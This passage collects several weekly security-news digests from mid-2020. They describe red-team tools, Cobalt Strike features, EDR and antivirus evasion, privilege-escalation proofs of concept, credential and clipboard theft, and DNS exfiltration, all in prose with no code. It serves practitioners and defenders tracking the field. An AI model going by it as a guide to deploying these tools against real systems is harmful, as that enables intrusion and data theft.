    • spoolsystem is a CNA script for Cobalt Strike which uses @itm4n Print Spooler named pipe impersonation trick (LWiS 2020-05-18) to gain SYSTEM privileges without creating any new process or relying on cross-process shellcode injection (if the selfinject method is used).
  • libimobiledevice is a collection of projects that allow for cross-platform protocol library to access iOS devices. This is the first release after a three year hiatus, and sees the release of two new tools, libirecovery and idevicerestore.

  • SearchOutlook is a C# tool to search through a running instance of Outlook for keywords.

  • choose is a human-friendly and fast alternative to cut and (sometimes) awk. This may prove useful for cleaner pipelines for automated reconnaissance, etc.

  • SharpBlock is a method of bypassing EDR's active projection DLL's by preventing entry point execution. Blog post here.

New to Me

This section is for news, techniques, and tools that weren't released last week but are new to me. Perhaps you missed them too!

  • UtahFS is an encrypted storage system that provides a user-friendly FUSE drive backed by cloud storage in Go by CloudFlare. Use this to store things securely in the cloud - think DropBox but encrypted locally before upload.
  • Atlas is an open source tool that can suggest sqlmap tampers to bypass WAF/IDS/IPS. The tool is based on returned status code.
  • urlcrazy generates and tests domain typos and variations to detect and perform typo squatting, URL hijacking, phishing, and corporate espionage.
  • PowerSharpPack is many useful offensive CSharp Projects wrapped into Powershell for easy usage.
  • revp is a C++ reverse HTTP proxy that works on Linux, Windows, and macOS.

This post is cross-posted on SIXGEN's blog.

Last Week in Security (LWiS) - 2020-06-22

Last Week in Security is a summary of the interesting cybersecurity news, techniques, tools and exploits from the previous week. This post covers 2020-06-15 to 2020-06-22. MITRE ATT&CK techniques are in brackets where appropriate.


  • CobaltStrike: Beacon Object Files - CobaltStrike continues to deliver advanced adversary emulation capabilities. This update brings the ability for a beacon to run compiled code in its own context, with beacon itself taking care of linking and loading the object file. This provides massive OPSEC advantages over forking a new process, but does come with a few downsides - crashing your shiny new BOF crashes your beacon. I expect lots of new techniques to come out with BOF implementations in the future to frustrate AV/EDR. Demo here.
  • Advisory 2020-008: Copy-paste compromises - tactics, techniques and procedures used to target multiple Australian networks. The Australian Government has officially stated that a "sophisticated state-based actor" is targeting the Australian government and Australian companies. While they don't name a country, it doesn't take an expert in foreign policy to pick China as the overwhelming favorite for this attack.
  • Dark Basin Uncovering a Massive Hack-For-Hire Operation. Citizenlab exposes BellTroX, an Indian hack-for-hire firm, due to their shockingly bad OPSEC. Using your own real CV to test a URL shortener?! The reader is left to wonder how many similar operations are taking place, but with better OPSEC. Want to know more? The great Risky Business has a feature podcast all about it.
  • FBI used Instagram, an Etsy review, and LinkedIn to identify a protestor accused of arson. Another OPSEC fail; if Bellingcat can do good OSINT, law enforcement can too. Wearing a shirt you can only get from an Etsy seller means your address is one subpoena away. Looks like the alleged arsonist didn't read OPSEC for Activists: #5 - Choose your clothing carefully.
  • Apple plays Godfather in Mafia-esque shakedown of developers. This is the same battle Spotify has been fighting. It boils down to Apple demanding 30% of signup fees for signups in an app on iOS. That is perhaps at the edge of reasonable, but now they are removing apps that have signups outside the app but have no ability to sign up in app (think Netflix, Spotify, etc). This policy is inconsistently enforced, and targeting a very vocal David Heinemeier Hansson is a mistake. Apple then sent out this message to developers before WWDC! First the Coreillium debacle and now this? Who is making these calls at Apple?
  • Hacking Starbucks and Accessing Nearly 100 Million Customer Records. A proxy between the Starbucks frontend and backend allowed researches to access a Microsoft Graph instance with nearly 100 million customer records. They reported the issue as soon as they verified they could access the base records, but there were lots of interesting endpoints that didn't get explored and would likely have been even more damaging. The $4,000 bounty for this seems extremely low.
  • Flatpak - a security nightmare. App distribution on Linux isn't great, and Flatpak from RedHat tried to solve that. Sadly, it looks as though they have some significant work to do on the security front.
  • 19 Zero-Day Vulnerabilities Amplified by the Supply Chain. The so-called "Ripple 20" vulnerabilities effect the TCP/IP library by Treck, Inc. Never heard of Treck's TCP/IP library? I hadn't either, but it's in everything from the UPS in your server rack, your printer, and the infusion pump in your operating room. Remote code execution with a malformed IPv4 packet is about as bad as a vulnerability gets, but the really scary vulnerability is the RCE from a nearly RFC compliant DNS response. State backed attackers or others with the ability to do DNS cache poisoning are going to be very excited by this. Expect to see these vulnerabilities in network attached UPSs and other IoT devices on assessments for the next decade. @SwitHak has put together a list of vulnerable vendors/devices as well as network detection rules: BlueTeam CheatSheet.


Tools and Exploits

  • Digging Your Talons In – New Take On Password Guessing. The researches at Optiv spent some time seriously considering how to do password guessing right, and boy did they develop quite a tool. Talon takes password guessing attacks to a new level with tricks like not sending an encryption type with a TGT request to kerberos which allows username enumeration without any failed logons (i.e. won't lock accounts). It also intelligently detects account lockouts over both kerberos and LDAP, and will rotate attempts between different domain controllers if multiple are present. Best of all, both the Kerberos TGT request and LDAP BIND auth request are not logged by default. Spray away! [T1078.002 Valid Accounts: Domain Accounts]
  • Composr CMS Remote Code Execution. This post shows the process of finding and exploiting a PHP unserialize function to achieve unauthenticated remote code execution. [T1190 Exploit Public-Facing Application]
  • USBSamurai β€” A Remotely Controlled Malicious USB HID Injecting Cable for less than 10$. If the O.MG cable is out of your price range, this might be more your style. All in this cable and the wireless dongle is less than $25 as long as you are willing to solder it up yourself. [T1200 Hardware Additions]
  • OutlookSend is a C# tool to send emails through Outlook from the command line or in memory. Designed to be used through execute-assembly in your favorite C2 Framework (i.e. CobaltStrike). Use this in companion with last week's SearchOutlook.
  • Evasor is an automated security assessment tool which locates existing executables on the Windows operating system that can be used to bypass any Application Control rules. Cyberark has a great writeup with demo on their blog. This is going to automate a lot of work on your next assessment with AppLocker; it even takes screenshots and generates a report! Cyberark neutered the tool a bit by not including the DLLs or other files used to pop shells, but I'm sure the community will fork and update the project soon. Blue teams using AppLocker should use this for self-assessment, and determine how to detect bypasses using other tools. [Thanks to @StevoLowson for the tip!]
  • ADSearch is a tool written for cobalt-strike's execute-assembly command that allows for more efficient querying of AD. [T1087.002 Account Discovery: Domain Account]
  • CVE-2020-1170 - Microsoft Windows Defender Elevation of Privilege Vulnerability. At this point @itm4n has made it into the hall of fame of Windows exploiters. This week sees yet another local elevation of privilege vulnerability, using Windows Defender's log rotation mechanism to delete an arbitrary directory. From directory deletion to SYSTEM shell gets you the rest of the way. By setting the defender update source to the local machine, the log can be filled in ~40 minutes. This post is very thorough and walks through the entire process of finding the vulnerability - top notch reporting.
  • avcleaner is a C/C++ source obfuscator for antivirus bypass. The researchers at SCRT really got into the weeds of clang/LLVM with this tool and came out with a FUD meterpreter. The blog post is very much worth a read.

This post is cross-posted on SIXGEN's blog.

Last Week in Security (LWiS) - 2020-06-29

Last Week in Security is a summary of the interesting cybersecurity news, techniques, tools and exploits from the previous week. This post covers 2020-06-22 to 2020-06-29. MITRE ATT&CK techniques are in brackets where appropriate.


  • Cobalt Strike 4.1 – The Mark of Injection. The beacon object files feature teased last week has been released along with improved safe-inject and more tunable SMB and TCP traffic parameters to defeat signature based detections.
  • 2020 Worldwide Developers Conference. Apple announced a lot, but the big news was the 2-year transition of macOS to custom ARM chips. iOS exploit developers just got a whole new target space! The A12X powered Developer Transition Kits (ARM based Mac Mini) have started to arrive, and it's only a matter of time before security researchers get their hands on some.
  • WireGuard Merged Into OpenBSD. Get ready for native WireGuard in the kernel in pfSense and OPNSense firewalls.
  • Moroccan Journalist Targeted With Network Injection Attacks Using NSO Group’s Tools. "Network Injection" attacks and rouge cell towers, this thorough report from Amnesty International lays out in detail how NSO Group assisted the Moroccan government in performing exploitation of journalists. The evidence of NSO Group willfully ignoring how its products are used is mounting, and I wouldn't be surprised if they are next up on Phineas Fisher's hit list.


Tools and Exploits

  • ChopChop is a CLI for scanning endpoints and identifying exposition of services/files/folders through the webroot. Add this to your tool list for web assessments or bug bounties.
  • Max is a command line tool to interact with the Neo4j database that powers BloodHound. This tool allows easy access to users and groups with lots of good built in filters. It also allows raw Cypher queries against the database for advanced users. [T1087.002 Account Discovery: Domain Account]
  • SharpHungarian is a rough proof of concept that uses comments on a VirusTotal file for command and control. [T1102.002 Web Service: Bidirectional Communication]
  • FileSearcher is an unmanaged assembly file searcher for when a fully interactive beacon session is not opsec safe enough. Find those Passwords.txt or Passwords.xlsx files easily with this tool. [T1005 Data from Local System]
  • Clippi-B is an unmanaged assembly clipboard stealer for use with CobaltStrike or any other unmanaged CLR loader (i.e. shad0w). [T1115 Clipboard Data]
  • pencode is a tool that helps you to create payload encoding chains. It has been designed to be used in automation wherever it is required to apply multiple encodings to a payload (and possibly inserting the payload to a template in between). This will be helpful for web application penetration testers or bug bounties.
  • browsertunnel is a tool for exfiltrating data from the browser using the DNS protocol. It achieves this by abusing dns-prefetch, a feature intended to reduce the perceived latency of websites by doing DNS lookups in the background for specified domains. DNS traffic does not appear in the browser's debugging tools, is not blocked by a page's Content Security Policy (CSP), and is often not inspected by corporate firewalls or proxies, making it an ideal medium for smuggling data in constrained scenarios. [T1071.004 Application Layer Protocol: DNS]
  • CVE-2020-10665 is a proof of concept for Docker Desktop Local Privilege Escalation on Windows. This is the same researcher from last week's Starbucks writeup. Well done! [T1068 Exploitation for Privilege Escalation]
  • CVE-2020-1054 is a proof of concept for a Windows 7 kernel vulnerability that leads to local privilege escalation. Blog post with details here. [T1068 Exploitation for Privilege Escalation]
  • BananaPhone is a pure-go implementation of using direct syscalls in the spirit of HellsGate (LWiS 2020-06-08). [T1027.005 Obfuscated Files or Information: Indicator Removal from Tools]

New to Me

This section is for news, techniques, and tools that weren't released last week but are new to me. Perhaps you missed them too!

  • aviary.sh is a minimal distributed configuration management in bash. Each host periodically fetches the latest version of the inventory to see what roles it should be performing. If you have struggled with Ansible, Chef, Puppet, or Salt in the past or they were just too much for a simple configuration management job, give aviary.sh a shot. Need slightly more power but don't wan't to step all the way up to the "major" configuration managers? pyinfra might be what you are looking for.
  • Flatseal is a graphical utility to review and modify basic permissions from your Flatpak applications. If last week's news about Flatpak security got you worried, Flatseal can help audit applications or modify them for malicious redistribution during an assessment.

This post is cross-posted on SIXGEN's blog.

Last Week in Security (LWiS) - 2020-07-06

Last Week in Security is a summary of the interesting cybersecurity news, techniques, tools and exploits from the previous week. This post covers 2020-06-29 to 2020-07-06. MITRE ATT&CK techniques are in brackets where appropriate.



Tools and Exploits

New to Me

This section is for news, techniques, and tools that weren't released last week but are new to me. Perhaps you missed them too!

  • Secretive is an app for storing and managing SSH keys in the Secure Enclave. It is inspired by the sekey project, but rewritten in Swift with no external dependencies and with a handy native management app. If you have a Mac or manage Macs this is another level of protection for SSH keys, and Macs without a secure enclave can use other sources such as a Yubikey.
  • velociraptor is a tool for collecting host based state information using Velocidex Query Language (VQL) queries. A simple to deploy single binary agent and server for incident response.

This post is cross-posted on SIXGEN's blog.

Last Week in Security (LWiS) - 2020-07-13

Last Week in Security is a summary of the interesting cybersecurity news, techniques, tools and exploits from the previous week. This post covers 2020-07-06 to 2020-07-13. MITRE ATT&CK techniques are in brackets where appropriate.



Tools and Exploits

  • CVE-2020-1300: Remote Code Execution Through Microsoft Windows CAB Files. The PathCchCanonicalize function strikes again, this time when opening a CAB file or installing a printer. In the case of the printer, arbitrary file write (and therefore remote code execution) is achieved as SYSTEM. No public proof of concepts exist yet, but there is enough detail in the post to craft your own.
  • Incoming .NET SQLClient introduces a .NET MSSQL client that can be used with any in-memory .NET loader (i.e. Cobalt Strike's execute-assembly) for use during post-exploitation activities. [TA0009 Collection]
  • tsunami-security-scanner is a general purpose network security scanner with an extensible plugin system for detecting high severity vulnerabilities with high confidence from Google. This scanner and nuclei are recent open source competitors to Tenable's Nessus.
  • SNOWCRASH creates a script that can be launched on both Linux and Windows machines. Payload selected by the user (in this case combined Bash and Powershell code) is embedded into a single polyglot template, which is platform-agnostic. I could see this being used for a cross-platform stage 1 payload against cross-platform target applications (i.e. Apache struts). [T1059 Command and Scripting Interpreter]
  • VBA-Stendhal injects encrypted commands into EMF shapes for C2 in VBA/Office malware. This is really cool Macro/VBA work by @Laughing_Mantis, and you can read more about how the technique works here. [T1562 Impair Defenses]
  • CreateFile_based_rootkit - Windows' DOS origins rears its ugly head once again with a bug where NtCreateFile can access directories with strange names like " ." but CreateFile cannot - it returns " " instead. This could prove useful if EDR tools use CreateFile, and also hides directories from explorer.exe and cmd.exe. [T1562 Impair Defenses]

New to Me

This section is for news, techniques, and tools that weren't released last week but are new to me. Perhaps you missed them too!

  • IntelOwl - analyze files, domains, IPs in multiple ways from a single API at scale.
  • freenom.com is a free domain registrar for .tk, .ml, .ga, .cf, and .gq domains. This could be useful for bug bounties or other engagements.
  • CFB is a distributed tool for capturing I/O request packets (IRPs) sent to any Windows driver. This is very useful for driver reverse engineering and fuzzing. Check out the examples here.

This post is cross-posted on SIXGEN's blog.

Last Week in Security (LWiS) - 2020-07-20

Last Week in Security is a summary of the interesting cybersecurity news, techniques, tools and exploits from the previous week. This post covers 2020-07-13 to 2020-07-20. MITRE ATT&CK techniques are in brackets where appropriate.



Tools and Exploits

  • capa detects capabilities in executable files. You run it against a PE file or shellcode and it tells you what it thinks the program can do. For example, it might suggest that the file is a backdoor, is capable of installing services, or relies on HTTP to communicate. Details on the Fireeye Blog.
  • project-citadel is a free & open source alternative project management tool that offers basic task tracking through a Kanban board (think Trello).
  • pwn-machine is a self hosting solution based on docker aiming to provide an easy to use pwning station for bughunters. This is a first release, but it could become a very cool platform to help automate the backend stuff required to find interesting bugs. More information in this blog post.
  • McAfee Total Protection (MTP) < 16.0.R26 Escalation of Privilege (CVE-2020-7283). Another AV allows for local privilege escalation due to symlink mishandling and overly permissive permissions. [T1068 Exploitation for Privilege Escalation]
  • RequestAADRefreshToken obtains a refresh token for an Azure-AD-authenticated Windows user (i.e. the machine is joined to Azure AD and a user logs in with their Azure AD account). An attacker can then use the token to authenticate to Azure AD as that user. More info on the Specter Ops blog.
  • RuralBishop is practically a carbon copy of UrbanBishop by b33f, but all P/Invoke calls have been replaced with D/Invoke.

New to Me

This section is for news, techniques, and tools that weren't released last week but are new to me. Perhaps you missed them too!

This post is cross-posted on SIXGEN's blog.